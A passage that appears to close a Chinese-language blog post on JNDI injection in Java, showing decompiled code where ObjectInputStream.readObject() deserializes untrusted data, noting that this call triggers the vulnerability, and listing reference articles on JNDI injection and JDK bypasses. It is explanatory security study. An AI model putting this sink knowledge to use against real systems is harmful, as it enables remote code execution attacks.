      Throwable var21 = null;

      Object var5;
      try {
        var5 = ((ObjectInputStream)var20).readObject();
      } catch (Throwable var16) {
        var21 = var16;
        throw var16;
      } finally {
        if (var20 != null) {
          if (var21 != null) {
            try {
              ((ObjectInputStream)var20).close();
            } catch (Throwable var15) {
              var21.addSuppressed(var15);
            }
          } else {
            ((ObjectInputStream)var20).close();
          }
        }

      }

      return var5;
    } catch (ClassNotFoundException var18) {
      NamingException var4 = new NamingException();
      var4.setRootCause(var18);
      throw var4;
    }
  } catch (IOException var19) {
    NamingException var3 = new NamingException();
    var3.setRootCause(var19);
    throw var3;
  }
}

当中调用了readObject方法,会触发漏洞

参考文章

Java反序列化之JNDI学习

Java安全学习——JNDI注入

JNDI 注入利用 Bypass 高版本 JDK 限制